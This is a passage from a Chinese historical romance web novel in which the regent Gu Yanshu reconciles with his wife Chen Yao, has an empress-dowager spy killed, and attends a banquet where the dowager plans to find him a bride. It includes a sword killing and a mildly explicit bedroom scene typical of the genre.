摄政王会降罪于她,但爱她的裴照七不会。
他不是冷血无情的顾宴书,他还是那个只对她一人唯命是从的相公。
他不傻了,还多金,要是还能对她好、宠她、爱她……
陈窈一直用这些说服自己,说服自己接受顾宴书。
她不是羊入虎口的单纯小白羊,她实实在在是一只狡猾的狐狸。
她之所以选择今天来,还有一个重要原因——她来葵水了。
从昨天便来了葵水,他们还有一阵不能同房,陈窈正好能好好看看顾宴书对她的心意。
月色如水,陈窈熄灭了烛火,背对着门躺在床上静等。
“咯吱”一声门被推开,男人脚步慢慢向她靠近,一上床便缠住了她,把她小小一只身体包裹在怀中,如一阵清冽的风结实地裹住她的全身。
陈窈鼻尖嗅到一股好闻的檀香,而不是刚才的酒气,他应沐浴了。
两人许久没睡在一张床上了,陈窈还有些不适地往外缩了缩。顾宴书以为她在抗拒,眸光微暗,生硬地将她按在自己的胸膛。
陈窈眉头微蹙:“你抱太紧了。”
顾宴书视线垂首,落在她紧绷的侧脸,“你若不躲,本王就松开。”
陈窈无奈:“你猛地一抱,我一点防备都没有,能不躲开吗?”
“好好好,是本王的错。”顾宴书眉心舒展,箍住她的手臂撒开了些力,大手轻轻地掌上她盈盈堪握的腰际,“窈娘,还要跑吗?”
“我怎么跑,你不都有本事让我心甘情愿地回来吗?”
陈窈明白,顾宴书许是从放她出府的那刻就算准了一切,算好秦家落难秦恒之会求她,以此来逼她回来,可唯独他算错了一桩事,她不是为秦恒之而来的。
“本王会下令放了秦家,但他家欠的税还是要缴。”顾宴书扣住她的手,顿了顿,“你既知如此,便知本王不会再放你走了。”
好的大的口气,陈窈故意气他,“我是为了恒之哥哥才来的,等你睡够了睡腻烦了,我就回去!”
话落,空气中似压着阵阵无奈,陈窈明显感觉到顾宴书身子一僵,她得逞地勾起嘴角。
顾宴书薄唇抿成一条直线,良久才耐着性子开口道:“本王承认,确实用了些手段,但秦家是个吃人的魔窟,你若真嫁过去,你以为他不会让你把这些钱补上吗?”
陈窈转过身,面对着他:“什么意思?”
顾宴书拂过她额边的碎发,“我的好窈娘,你只看到本王对你的蓄谋,还没看清秦恒之对你的算计吗?”
他浅浅露出一抹不易察觉的笑,启唇道:“秦家欠的这笔账很棘手,迟早会被上面查到,他那个当官的舅舅只能顶一时,急需一笔钱去填补,而你嫁过去的不只是人,还有金瑶楼所有的钱财也会一一纳入他家的囊中,到时候你已成他的妻,怕是不想帮也得帮了。”
陈窈难以置信,“可他家之前给了好些丰厚的彩礼,不像是早就……”
顾宴书轻点她的鼻尖,“放长线钓大鱼,钓的就是你这条大鱼。”
陈窈嘴一撇,“你这牢笼般的王府能是什么好去处?”
“别说气话。”顾宴书看出她是故意,含笑说:“王府上下全听你差遣,你是第一的王妃,本王是第二的王爷,好不好?”
“就会说些糖蜜的情话哄我。”陈窈才不相信他嘴里的鬼话。
“你是本王心里的第一位,他们自然会敬重你。”顾宴书说。
陈窈提起从前,“你不怨我吗?”
“怨过。”
顾宴书实话实说,他当时真恨陈窈啊,她狠心把自己同床共枕的相公买入泥潭之中,这样心思毒辣的女人,他想过要抓她过来,好好折磨她一番,让她在府中为奴为婢,让她也尝尝被人抛弃的滋味。
可……可他根本做不到。
他的窈娘跟着他过了三四年的苦日子,他手里有霍绰的银子,他不敢给她,一旦暴露身份被太后的发现,他们都会有危险。
陈窈:“现在呢?”
顾宴书:“只有爱了。”
陈窈:“就算我是个坏女人你还愿意爱吗?”
顾宴书没一丝犹豫,抱紧了她。“愿意。”
男人似咿唔般在她耳畔低语了句,但她没听清,“你说什么?”
“我说,丢失的珍宝终于回家了。”顾宴书蹭在她的耳畔说:“窈娘就是我的珍宝,独一无二的珍宝。”
陈窈坚硬的心顿时被他磨软。
“你瘦了。”顾宴书早就感受到她消瘦的双肩,抱在怀里没有以前的扎实,他心疼地说:“我不在的这些年,辛苦吗?”<
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没等她说话,顾宴书缓缓开口,“随着第一场雪到来的是你的离开,我在望月楼注视你的身影良久,你都没有回头,我想你是不愿再与我相见了。”
陈窈眼角泛红,她对他有愧,“我不是有意的……”
顾宴书打断她,“我的错,没给窈窈好的生活,是我没用。”
“我看见有人买了你的金钗又跑去退货,想讹你,我就把人打了一顿,让你开店能好过一些。”
陈窈想起来,好像是有这么一个事,她就说那人怎么不再找她事了。
顾宴书继续道:“后来你的店开得越来越大,我只能透过昏暗的窗棂瞧你的侧影,你总是伏案,累了就捶捶肩继续低头,也没个人能为你排忧解难,于是我派了晓依去。”
陈窈笑了笑,这是她后来知道的。
“可我还是不放心,人总是有贪念,要是你能出金瑶楼,在我身边就好,我只能无意把此事透露给顾璇儿,让她点名要你进宫做钗。”
听到这里,陈窈把一切都串起来了,轻捶他胸口一下,“原来是你干的!你知不知道第一次进宫时吓死我了!”
顾宴书反握她的手在嘴边吻了下,“我只知道我的贪念是你!”
陈窈蜷缩在他怀里笑了笑。
“你若不喜我就和顾璇儿说,让她别难为自己的七嫂。”顾宴书说。
“她要是知道咱俩的关系,还不吓一大跳,上次……你牵我的手就被她误认为我在勾引你呢!”陈窈想了想,拒绝说。
顾宴书顺她意,“好,我不说,就让她自己看。”
陈窈:“看什么?”
顾宴书:“看出我对你情不自禁,难以把持……”
“别说了,不正经!”陈窈伸手堵住他的嘴,含羞着红脸说。
“睡吧。”
顾宴书轻轻亲了她眉心一口,帮她掩好被子,圈住她一起睡了。
陈窈眨了眨眼,顾宴书竟没提那档子事,太不像他的作风了,“你睡了?”
顾宴书没说话,又亲了她一口表示自己没睡。
陈窈:“就……就这样睡吗?”
顾宴书以为她想轰他,“嗯,就抱着窈娘睡。”
“我不是这个意思。”陈窈顿了下说:“你不想吗?”
凭借两人多年的默契,顾宴书顿时明白她指的是什么。
顾宴书淡淡道:“吃了酒,怕与从前相比发挥不好。”
陈窈:“……”
还挺要面子。
顾宴书等陈窈熟睡,轻手轻脚地出了门,他来到书房,凌雲已在一旁等候。
他问:“都查到了吗?”
凌雲:“王妃上次被太后召见入宫,只要王妃摆弄了些簪子,还邀请她去赏花,看似平平无奇,未见有异常。”
顾宴书生性多疑,太后早不召见,偏偏选在她频频出入王府时召见,就说明他的人里有太后安插的眼线。
他掀起眼帘,泛起冷意,“可有找出人?”
凌雲在顾宴书身边多年,清楚他的行事作风,杀伐果断,斩草除根,眼里容不得一粒沙子。
他卸去佩剑,双膝跪地,“求王爷放……”
顾宴书耐心用尽了,语气重重,“是谁?”
凌雲红了眼眶:“是玉兰。”
顾宴书黑眸摄人,声线如寒潭幽冷,“杀!”
39. 雨夜
嬅京各处都布满顾宴书的眼线,他清楚凌雲对玉兰下不去手,另安排了凌霄去望月楼暗杀,保证万无一失。
至于冯太后……
金瑶楼老板娘太后可随意呼唤,但摄政王妃可不是她能使唤动的人。
太后想要的是他顾家的江山,一守一攻,必有败方。
他能守住天下,也能护住陈窈。
处理完琐事,顾宴书才安心回寝殿。
男人身躯懒懒一环,陈窈的整个身子便被他拥入怀中,鼻尖全是她嫩肤传来的阵香,他萦着女人香沉沉入睡,这是他当摄政王后睡得最舒服的一觉。
以往天刚微亮他就已起,今日太阳都出了头,顾宴书还枕在床,他往边上长臂一捞却摸了个空,枕边一片冰凉,他立马惊醒而坐起,“凌雲,王妃呢?”
凌雲在门外回:“王妃不在屋里吗?今日一早都没看见。”
顾宴书连外衣都顾不得穿,慌张地冲出门,四处寻觅,无一见陈窈的身影,“去找!必须把人给我找回来!”
人好不容易愿意留在王府,才一个晚上过去就不见了,顾宴书捂着胸口,心悸得厉害。
“属下这就去找!”凌雲说。
就在凌雲要动身时,陈窈不知从哪儿出现,娉婷身姿在顾宴书的视线内悠悠晃,她语气轻快,“你们是找我吗?”
顾宴书拉过她的手猛地拽进,一手掐住她的后颈,一手捏住她的细腰,几近疯狂的状态将她按在自己怀里。
陈窈被他抱得死死的,感觉整个胸腔都被他紧压,“咳咳……呼吸不了……”
凌雲叫几个侍候的下人散去,自己也知趣地退下。
顾宴书松了松手,浓如墨的眸深锁着她,“你去哪了?”
陈窈被他弄得不知所措,讪讪地说:“我看你还在睡就没叫醒你,自己先去王府转了一圈。”
“你知不知道你吓死本王了。”顾宴书这才舒了口气,下巴压在她雪颈上蹭了又蹭,似感受她的真实存在般。
“你不会以为我跑了吧?”陈窈说。
“嗯。”顾宴书沉沉的闷声,从她肩头传来。
陈窈笑了下,“我是打算走。”
顾宴书一怔,看着她的双眼,“?”
陈窈:“我要去店里,晚上还回来!”
只要她肯回到他身边,他这颗若即若离的心就能安定下来,她想做什么都依她。
顾宴书扒开陈窈脸侧被他弄乱的发丝,柔声地问:“需不需要本王派人接你。”
陈窈摇头:“不用了,你的人都有用,这种接送的小事就不必劳烦。”
最后还是让凌雲护送她上了马车,临走前顾宴书亲了她一口,陈窈红着脸飞快钻进马车,她实在受不了在众目睽睽下与他肆无忌惮地亲。
府上侍候的女侍多,都围在她们身侧,看着他们亲来亲去,陈窈可受不住。
回去的路上,没有晓依陪在她身边解闷,陈窈连个说话的人都没有,她索性和凌雲聊聊天,顺便打探这些年顾宴书身边有没有女人,既然决定留了下来,她可不希望顾宴书不干不净。
可不知怎么回事,一向健谈的凌雲却不理她,陈窈掀开车帘,坐在马上的凌雲,只给陈窈留下了冷峻的侧颜。
陈窈:“凌雲,你今天怎么沉默寡言的?是不是顾宴书给你的任务太重了?”
凌雲只淡淡说了声没。
陈窈:“……”
一路默默无言,陈窈只能闭目养神。
到了金瑶楼,晓依一早便在大门外迎接,她扶着陈窈下车,注意到一旁如木头般矗立的男人,“你怎么来了?”
凌雲不语。
晓依却笑了笑,拉着陈窈上楼,“我们进去说。”
陈窈迷茫地眨了下眼:“说什么?”
“他不是凌雲。”晓依说。
“不是?”陈窈懵了懵。
“他是凌霄。”晓依说。
陈窈好像听顾宴书提起过,是有个暗卫叫凌霄,但她从来没见过他出现在顾宴书身边。
“所以……他们是双胞胎?”陈窈琢磨过来,微微惊讶。
晓依说:“对!”
“那你是怎么认出来的?”陈窈好奇地问。
从相貌上看二人几乎一模一样,无明显特征。
晓依微微一笑,扬起下巴说:“凌霄是哥哥,少言寡语,你纵使与他说上一整天的话,也只能得到他只言片语,而弟弟凌雲就不同了,人傻话多!”
陈窈回想,“你这么一说确实如此。”
晓依:“不过,今天怎么是凌霄来送您,王爷的暗卫很少露面。”
“不知道。”陈窈耸耸肩。
“有点奇怪……”晓依眼底划过一下不安,讷讷地说。
“别想了,三日后太后要举办赏花宴,咱们要多些金簪供贵人佩戴。”陈窈说。
“好。”晓依没想太多,拿出丝线摆弄。
——
亥时,夜深人静。
望月楼灭了灯,细雨飘飘扬扬地落下,打在屋檐发出嘀嗒的声响。
玉兰被雨声吵醒,朦胧地睁开眼,发现桌边坐着一道黑色的影子正盯着她。
待她看清男人硬朗的面孔后,她缓缓起身,“大人?怎么这么晚来?”
玉兰视线往男人的衣襟上瞧,并无雨点,看样子来了有段时间。
“坐。”玉兰拍了拍还温热的床边,唤他过来。
女人单衣,薄纱轻笼着她玲珑曼妙的身姿,白瑕如霜的嫩肤透出,莹润细腻,分明是跌入烟花地,但黑如点漆的眼神与清澈的眸子却又透出静雅之气,如冰天雪地中一枝冷傲的白梅。
凌雲盯着她良久才移开视线,挪身坐在他身边。
在他坐下的一刻,玉兰纤纤玉臂环住他的腰,手掌覆盖他胸前突出的蟒纹,温热的吐息不重不轻地铺落在他耳畔,“遇到什么难事了?”
男人不说话,绷直的身子像耸立的石像一样僵硬,玉兰眼眸轻转,素手顺着他衣服的纹理一路摸下去。
女人的手划过他的硬邦邦的胸膛,慢慢移到腹部,就在她还要往下探时,男人却生硬地扣住,不让她再乱动。
玉兰身子蓦地一缩,被他冷得出奇的掌心刺到。
女人细软的手与他常年挥舞刀刃的糙手比起,犹如在捏一块豆腐。
玉兰已知他没了兴趣,便不再自讨没趣,“我给大人倒杯热茶吧。”
她移步到桌前,很快倒好一杯茶,就在她转过身之际,一把无情长剑抵在她的喉咙,剑锋尖锐,泛着阵阵寒光。
玉兰握着茶盏的指尖微微用力,纵使骨节泛白,但她神色依旧处变不惊,“你不是来睡觉的。”
她像是料到凌雲今晚的不寻常般
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,她清纯的双眼凝起凌厉,双唇轻启——
“你是来杀我的!”
话音落下的一刻,玉兰手疾眼快地将滚烫的茶水向他泼去,随后从桌下抽出一把软剑,剑出鞘划出一道银色的轨迹,与他的无情剑慷锵交缠一起。
雨越落越大,斜斜地打在屋檐犹如密集的箭羽飞射,屋内刀光剑影掠过,金属的碰撞声不绝于耳。
几个回合后,软剑咣当一声落地,玉兰瞳孔一缩,双手被他按在门后,动弹不得。
她面色痛苦,乞求最后一丝生机,“大人,这是为何?”
男人眸光凛然,开口说了今晚的第一句话,“太后的细作不可留。”
玉兰心猛地一沉,她闭了闭眸,自知今晚自己会命丧于此了,但她还是渴望最后一线生机。
女人不再反抗,反抗的身子软了下来,她唇角微勾,“细作该死,但玉兰无辜。”
男人再次沉默。
玉兰晶莹的泪水在眼眶打着转,软娇的声音唤他,“凌大人,玉兰被你救起时就已经是你的人了,太后她威胁我在先,若是大人怨我,玉兰心甘情愿为大人死。”
须臾,扣住她的大手慢慢松开了。
玉兰侥幸捡回一条命,放松警惕,正想伸出手抱紧他,谁知凌雲长剑重新提起,冷声透骨的寒凉,“王爷之命不可违!”
下一秒,蓄起的剑光从眼前划过。
玉兰笑容凝固,瞳孔猛然放大,惊恐地倒地,似鸦羽的长发顺势而下,遮住她清如皎月的面颊。
男人手中的剑落地,鲜血染湿剑头,他双膝跪地,垂首的眼神似裹挟着水雾,最厉害的杀手却双手颤抖,为她阖上了双目。
随之,天空电闪雷鸣而过,像黑夜中一道被撕破的裂缝,转瞬即逝。
陈窈望着外面滂沱的雨幕,拉上了窗,“这雨太大了,看来今晚回不去王府了。”
“啊……”已经收拾好包袱的晓依,不情不愿地噘着嘴说。
她盼望着回府很久了,好不容易等到陈窈回心转意,却因这下个没完没了的破雨而耽搁!
陈窈笑她,“你就这么喜欢待在王府吗?”
“喜欢啊,王府地方大,宽敞富足,还有……”说着这里,晓依忽然顿住,嘻嘻哈哈地抱着陈窈的小臂,“还有王妃娘娘!”
陈窈宠溺地戳了她小脑瓜一下,“你呀!是为了我吗?你是……”
身后的敲门声打断了两人的说话,陈窈疑惑,“这么晚谁啊?”
晓依打开门,看到男人独身前来的身影,而后压下翘起的唇角,悄咪咪地给他们带上门退下了。
陈窈真没想到是顾宴书,她早在雨飘起时就差人告诉了他,他当时还答应得好好的,第二天再来接她回府。
陈窈娇笑,嗔怪他,“你不守信用。”
顾宴书往木椅上一坐,拍大腿示意她,“坐上来说。”
陈窈不动,带着娇媚的神色瞪着他。
顾宴书一笑,搂着她的腰抱在自己腿上,耳朵贴在她的胸口,哄人说:“你不回,本王又实在想你,只能食言。”
陈窈双手拥着他热乎乎的脑袋,人都冒雨来的,她又舍不得轰他走,“好,我叫人给你收拾一间房。”
顾宴书双眸扫过旁边的一张小床,紧了紧她的腰身说:“本王索性留宿在此。”
陈窈:“?”
40. 留宿
这床太小了,陈窈娇小的身子缩在男人宽阔的胸膛,两人仿佛又回到了花颐村,回到了金禧堂,回到了从前……
但顾宴书今天出奇的乖,都不像他了。
男人今晚只安静地把手搭在她腰间,没有其他的举动。
陈窈抬起头,“你今日吃酒了吗?”
顾宴书喉结上下滚动,“没。”
陈窈想了想,明白过来了说:“你知道我来葵水了?”
“算出来的。”顾宴书对她的一切了如指掌,即便分开多年,算出她一月一次来葵水的日子,不算难事。
陈窈哦了声,又缩回他怀中。
顾宴书却淡淡地笑了,“等你身子都干净了再说,本王不会跑,让你睡个够!”
陈窈:“……”
她倒不是这个意思。
陈窈脸色微微一红,“我是怕你想,提前和你说下不可以。”
“嗯,误会窈娘了。”顾宴书漫不经心勾起唇角,亲了她眉心一口。
陈窈见他对她的话一点都没听进去,有些气恼地用拳头捶了他胸口一下,“谁让你之前老拿圆房这事吓我!”
顾宴书握住她的手,解释说:“本王是君子,不是小人,虽想与你欢好,可你若不愿自是不会强迫。”
陈窈正心里一暖时,只听头顶传来一声哼笑,“这种事要双方都情愿才能美妙。”
“……”
快入睡前,顾宴书说:“明日一早就回府,本王命人做了你爱吃的山海羹。”
陈窈:“不行,我明日奉太后之命要送金钗给她,一早就要准备装车,没时间回府。”
顾宴书凝眸,又是太后,真是一刻也不消停。
若是冯太后一直以陈窈开店为名唤她入宫,他不好应对,不如斩草除根来得痛快,他也能时时刻刻保护陈窈。
他劝陈窈说:“把店关了吧,在本王身边待着,你也不用每日费心地经营,王府有大量的金银够你挥霍。”
话落,换来陈窈的片刻沉默。
按以往他同她讲这些话,陈窈大抵早就炸了,定然与他大吵一架,但晓依曾与她诉过顾宴书的难处,为子不能陪在父母身边,为臣不能守护大齐。
陈窈抱住他的腰,将脸深深地埋在他胸前,“我知道你与太后不和,不想让我涉险,但店是我苦心经营的心血,关店是万万不可。”
顾宴书曾经是看过陈窈的辛苦,不到三更天就起床做馄饨,后来搬出花颐村家里有些积蓄了,她又每日每夜地做起金钗发簪。
现在他可是执掌一方的摄政王,有钱又有权,自然是不愿看到自己的女人还在为生计奔波。
顾宴书固执己见道:“心血重要还是命重要?”
陈窈:“都重要!”
顾宴书极为较真,追着她问:“我在窈娘眼里就不重要了吗?”
陈窈眉头皱起,“你就这么不想让我开店?”
“嗯。”顾宴书直白地说,她不开店就能在王府,在王府就会安全,不会被太后盯上卷入这场纠纷。
他本意是想护着陈窈,但陈窈的耐心渐渐被他磨灭,只觉他是霸道还蛮不讲理!
陈窈哼一声,挑他刺说:“我还不想让你在外打打杀杀呢!”
提起他曾经征战,顾宴书说:“我杀人是为了保护嬅京的百姓。”
陈窈:“我做金钗是为了美化嬅京的百姓!!!”
顾宴书:“……”
两人谁都无法说服谁,顾宴书轻叹一声,先一步妥协道:“明日让凌霄跟着你,他是暗卫,不会露面。”
陈窈真的很想和他吵架,她不是豢养的鸟,她有自己的骄傲,有自己的一方天地,不是一个只依附自家相公,靠他保护的小女子。
她虽不能像顾宴书那般怀有天下百姓的大义,但不代表她没有那样的抱负。
但这些话……肯定不是陈窈三言两语就能让顾宴书有改观的,这事她目前做不到,但这气她必得出!
陈窈亮晶晶的黑眼珠转了转,头往上枕,细手软软一靠,搭在他的肩膀上,炙热的鼻息有意无意地撩过他的颈部。
像春日吐出的嫩芽,又像絮絮棉花绽出,却都滚着温热。
顾宴书眼皮抖了下,任由她去。
陈窈见他还在装,狡黠地勾了勾唇,又软又柔的双唇贴了上去。
顾宴书倏然睁开眼,按住她的手放到一边,嗓音压着沙哑,“别乱动。”
“我没有啊。”陈窈一脸无辜,手臂又攀附到他肩膀,像条水蛇一边圈住他。
“我不碰你,但你也不能勾引我。”顾宴书眼帘下垂,咳了声,吓唬她说:“我可会胡来的。”
陈窈故意闪着水汪汪的大眼睛,朝他眨去,“那你会怎样?”
“嗯?”顾宴书顿住,愣了愣。
“嗯。”陈窈也是一顿,随后坚定扬起下巴看他。
她仗着自己来葵水,一个劲儿地给顾宴书续火,顾宴书确实不能与她动真格,肉虽不能吃到,但磨磨硬邦邦的棒子还是可以。
顾宴书:“窈娘,这是你自找的苦,别怪本王不怜香惜玉!”
天真的陈窈还在想他能怎么来时,顾宴书的大掌就已游离到她长裙的系带,轻轻一勾,薄裙褪去,陈窈胸口一片冰凉,紧接着男人热如火的胸膛压上来……
“唔……”陈窈双唇也结结实实地被他堵住,细碎的声音从中漏出,“你这个小人!”
她本来想的是顾宴书□□焚身,难受得要死,但她在他手里就如同一卷毛巾,他拼命地将她挤出水去浇灭他燃起的□□。
“嗯,我小人我禽兽我王八蛋。”顾宴书倒一口气替她骂出,被子下却抓着她的手快速地探入探出。
陈窈涨红了脸:“……”
室内旖旎迷情,声音更是不堪入耳,犹如在罐中捣碎的鲜芦荟,连带着沉闷的水声。
陈窈千算万算都没算到,在床上的她永远处于劣势……
一夜过去,好在两人没动真格,顾宴书给她留了些精神头,没弄得太晚。
陈窈身子很轻盈,但手酸……嘴涨……
她梳妆后本该下楼乘马车,但走到半路脑中不可抑制地浮现出昨晚与顾宴书在床上的缠绵,羞耻至极的画面使得她又气冲冲地折返回去。
顾宴书睡颜极佳,长长睫毛簌簌垂落,挺立的鼻骨被微光点亮,泛出小片光晕。
“姑娘,你怎么还往回走啊!”
摄政王在里屋熟睡,晓依不敢上前侍候,只能在门外小声催促着陈窈。
陈窈定在顾宴书的床前,经过昨夜她无暇欣赏美男,她小脸先是微微一皱,接着抬起腿给他结实的一脚。
顾宴书毫无防备地疼醒,眉头微拧地愣神她看。
“哼!”陈窈拽起裙角,长长的裙子掀起一个不留情的弧度,全都甩在了顾宴书的脸上。
晓依瞪着眼珠子,看傻了眼:“……”
顾宴书揉着自己的小腿,无奈扶额一笑,娘子和自己耍性子他开心他乐意。
陈窈走了,顾宴书也无心睡意,叫人进来服侍,“凌雲!”
回应的却是另一侍卫,“回王爷,凌侍卫派去了军营还未回来。”
顾宴书这才想起凌雲被自己派出去了,军营可不是什么好差事,这不是摄政王身边大侍卫该承揽的活儿,所有人都心知肚明。
凌雲重情义,自然是对陪在他身边的玉兰下不去手,等事情办完,再召他回来也避开这段伤心。
顾宴书压下眉目,“望月楼的事处理得如何了?”
侍卫回:“玉兰已死。”
“好。”顾宴书点了点头,“叫凌雲回来,让凌霄跟着王妃。”
“是。”侍卫领命。
“王爷,咱们去哪儿?”凌雲不在身边,其余下属对顾宴书的行踪都不知道。
顾宴书:“去太后的赏花宴!”
——
太后很早就吩咐过陈窈,要好好打扮来赏花宴的小姐
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们,用金簪银饰给她们装点得比花还美三分。
这本不是件难事,她手巧看人又准,根据小姐们各自的姿色和特点,挑选钗子来佩戴,保证她们个个比花娇。
但女人们凑一起总是要比个上下,都想让自己最好看,这可害苦了陈窈。
宁远侯府五小姐的贴身丫鬟:“所有花里胡哨的都不要,我家小姐喜欢用珍珠点缀,把带珍珠的都留下!”
陈窈说:“好。”
尚书府三小姐的贴身丫鬟:“你带的每一支钗都要先给我们小姐试,试过后再告诉你留哪支!”
陈窈应:“好……”
丞相府嫡女的贴身丫鬟:“我们家小姐要独一无二的钗环,别人有的款式就不要再往我家小姐头上戴了!”
陈窈忍:“好………………”
弄了一上午她真是累死了,好容易想歇会儿,赏花宴却开始了,她还要跟在冯太后身边服侍,不说能吃到席面上的佳肴,连一口水她不能喝。
不过,都是女儿家的宴席,但陈窈不好揣测太后寓意何为,肯定不是单纯叫她们来赏花的,总之她谨慎小心些总是好。
为首的是冯太后和长乐公主,席间坐着各个王府的小姐们,还有……冯太后的孙侄女冯佳敏。
陈窈给小姐们梳头时就听好几个人在讨论,冯佳敏确实美貌,容仪清婉,高雅秀丽,举手投足间尽显世家小姐的端庄大气。
冯太后放下酒杯,盯着她们笑说:“你们一个个啊,都是哀家鲜亮的好孩子呀!”
话音刚起,下面的小姐们都落了筷子静听。
冯太后:“都是自己人,哀家也不瞒着你们了,今日叫你们过来除了赏花与大家同乐,最重要是想给你们找一位好的夫婿,你们有了归宿哀家这心里也踏实。”
“皇帝年龄小不急于此,宫中只剩摄政王尚未娶妻,他今日也来,哀家可帮你们掌掌眼。”
冯太后说得情真意切又委婉,下面低头的官家小姐们秉着呼吸,互相递了个隐晦的眼神,接着同声道:“全凭太后娘娘做主。”
“接着用饭吧!”太后说完,瞥了眼身边服侍的陈窈。
陈窈眉一蹙心想,顾宴书也要来?昨晚没听他提起啊。
这局竟是给顾宴书选妃的?这个摄政王当的真是艳福不浅啊……
陈窈脸色明显没刚才轻松了,冯太后见状微微一笑,“你也累了,德福带她去休息。”
太后准允她休息,陈窈总算能吃口饭了,等她回府后这笔账再慢慢和顾宴书算,他竟然昨天不告诉她来。
不过……她今日一早精心装扮的这些女人,结果却是送她们见自己的男人?
陈窈想想心里就不是滋味,饭才扒拉两口就饱了。
晓依注意到陈窈没胃口,心里很清楚,安慰道:“姑娘,太后之命不是王爷能拒的,况且这定不是王爷的本意。”
“我知道。”陈窈叹息,对此无可奈何但实在难过。
“知道您还愁眉叹气?”晓依说。
陈窈筷子戳在碗里的海参上,闷闷不乐地说:“可我一会儿要看他跟一群打扮得花枝招展的女人一起,我的心就像一块石头压得难以呼吸!”
“您何必生气呢,王爷心里有你就成了啊。”晓依天真又单纯说。
陈窈:“小依依啊,你现在还没遇到过心上人,要是喜欢一个人,明知道他眼里心里只在意自己,但还是会忍不住酸楚,
这就是爱,爱是很自私的一件事。”
“哦……”晓依似懂非懂地说:“这就好比小白,他要是哪天吃别人喂的食儿,对别人咧着嘴笑,我也会难过,感觉白养他了!”
这是她们楼养的一条小狗,因为全身都是黑色而得名小白。
陈窈被她这个精彩的形容逗笑,而后愤恨地破口道:“顾宴书他就是个狗!”
“是哪位美人是记挂本王呢?”身后一道低沉又混着笑意的声音响起。
陈窈回头,腾地呆住。